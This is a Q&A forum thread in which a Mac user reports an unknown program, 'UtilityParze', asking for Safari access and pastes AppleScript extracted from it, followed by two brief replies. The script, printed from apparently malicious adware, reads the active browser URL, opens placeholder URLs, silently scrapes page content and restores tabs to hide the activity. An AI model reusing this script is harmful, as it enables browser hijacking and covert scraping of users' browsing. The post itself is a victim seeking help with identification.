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I’m using a Macbook Air with OS X Catalina.
Today when I opened Safari a security dialog popped up asking whether to allow UtilityParze to access Safari. I haven’t found any mention of this application online so far, but I found an executable at /Users/<me>/Library/UpdatesMac/UtilityParze/UtilityParze
in my filesystem.
It’s mostly not human-readable but here’s some embedded script:
if application "Safari" is running then
run script "tell application \"Safari\" to return URL of front document"
end if
if application "Safari" is running then
tell application id (id of application "Safari") to open location "[URL_TO_OPEN]"
tell application id (id of application "Safari") to activate
delay 5.0
end if
if application "Safari" is running then
run script "tell application \"Safari\" to set the activeIndex to index of current tab of front window
tell application id (id of application \"Safari\") to open location \"[UA_URL]\"
tell application id (id of application \"Safari\") to set the content to the text of document 1
repeat until length of (content as string) is not 0
delay 0.2
tell application id (id of application \"Safari\") to set the content to the text of document 1
end repeat
tell front window of application \"Safari\" to close last tab
tell front window of application \"Safari\" to set current tab to tab activeIndex
return content as string"
end if
if application "Google Chrome" is running then
run script "tell application \"Google Chrome\" to get URL of active tab of first window"
end if
if application "Google Chrome" is running then
tell application id (id of application "Google Chrome") to open location "[URL_TO_OPEN]"
tell application id (id of application "Google Chrome") to activate
delay 5.0
end if
if application "Google Chrome" is running then
tell application "Google Chrome"
open location "[UA_URL]"
end tell
end if
if application "Google Chrome" is running then
run script "tell application \"Google Chrome\"
set the activeUrl to get URL of front window's active tab
open location \"[UA_URL]\"
set content to execute front window's active tab javascript \"document.getElementsByTagName('body')[0].innerHTML\"
repeat until length of (content as string) is not 0
delay 0.2
set content to execute front window's active tab javascript \"document.getElementsByTagName('body')[0].innerHTML\"
end repeat
tell front window's active tab to close
set tabIndex to 0
repeat with currentTab in (tabs of (front window))
set tabIndex to tabIndex + 1
if URL of currentTab is activeUrl then
set (active tab index of (front window)) to tabIndex
exit repeat
end if
end repeat
return content as string
end tell"
end if
Has anyone heard of this program? So far I just denied it access but have not deleted it. I’m guessing it’s something annoying that initially reroutes to a page when I try to open a browser.
Saw same thing this morning. Was warned about it so I deleted it. A google search only returned this post, seems you're the first person to mention this on the internet. – David Lartey – 2020-01-12T16:14:46.007
I would run an antimalware/antivirus scan. – vssher – 2020-01-12T16:41:46.953